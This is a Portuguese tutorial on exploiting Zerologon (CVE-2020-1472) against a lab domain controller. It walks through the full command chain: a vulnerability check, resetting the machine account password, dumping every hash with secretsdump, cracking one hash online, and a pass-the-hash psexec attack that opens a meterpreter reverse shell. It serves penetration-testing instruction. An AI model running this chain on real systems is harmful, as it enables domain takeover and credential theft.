Assim que esta vulnerabilidade é explorada o atacante consegue obter o acesso a toda a lista de usuários e senhas do Active Directory e realizar a escalação de privilégio.
100SECURITY - 192.168.0.100 - Host do Atacante
DC-2012 - 192.168.0.10 - Active Directory (Vulnerável)
Você tem várias forma de confirmar se o servidor está vulnerável, este script é uma das formas.
Realize o clone deste projeto.
Linuxgit hub https://github.com/SecuraBV/CVE-2020-1472 cd CVE-2020-1472/ ls -l
Instale as dependências.
Linuxpip3 install -r requirements.txt
Agora basta executar o script zerologon_tester.py [hostname] [IP].
Linux./zerologon_tester.py DC-2012 192.168.0.10
Se você tem apenas o IP do servidor você pode usar o auxiliar nbname e obter o hostname.
Linuxmsfconsole msf6 > use auxiliary/scanner/netbios/nbname msf6 auxiliary(scanner/netbios/nbname) > set RHOSTS 192.168.0.10 msf6 auxiliary(scanner/netbios/nbname) > run
Observe que foi possível coletar o hostname DC-2012.
Utilize o auxiliar cve_2020_1472_zerologon para verificar se o servidor está vulnerável.
Linuxmsf6 > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set NBNAME DC-2012 msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set RHOSTS 192.168.0.10 msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > check
Observe que o servidor está vulnerável.
Remova a Senha da conta de máquina do servidor vulnerável usando o comando :
Linuxmsf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set action REMOVE msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
Realize o download do projeto impacket e acesse o diretórios dos scripts de exemplo.
Linuxgit clone https://github.com/SecureAuthCorp/impacket cd impacket/examples/
Execute o script secretsdump.py para obter a lista de todos os usuários e o hash das senhas.
Linuxpython3 secretsdump.py -no-pass '[email protected]'
Com esta informação você pode pode fazer um ataque do tipo Pass-The-Hash por exemplo, pode também tentar Descriptografar o Hash, enfim... várias possibilidades.
Linux100security.local\marcos:1106:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
Inseri no site https://hashes.com/en/decrypt/hash o hash : e19ccf75ee54e06b06a5907af13cef42 e obtive a Senha : P@ssw0rd
Utilizando o usuário 100SECURITY\marcos e a senha P@ssw0rd, consegui me conectar via RDP no servidor vulnerável.
Utilize o exploit do psexec.
Linuxmsf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use exploit/windows/smb/psexec msf6 exploit(windows/smb/psexec) >
Defina o PAYLOAD de conexão reversa.
Linuxmsf6 exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
Defina as informações obtidas: IP, Usuário, Domínio e Senha :
Linuxmsf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.0.10 msf6 exploit(windows/smb/psexec) > set SMBUser marcos msf6 exploit(windows/smb/psexec) > set SMBDomain 100SECURITY msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
Execute o comando exploit para realizar a exploração, em seguida o comando sysinfo para exibir as informações do servidor explorado e o comando shell para assumir o controle do servidor.
Linuxmsf6 exploit(windows/smb/psexec) > exploit meterpreter > sysinfo meterpreter > shell C:\Windows\system32>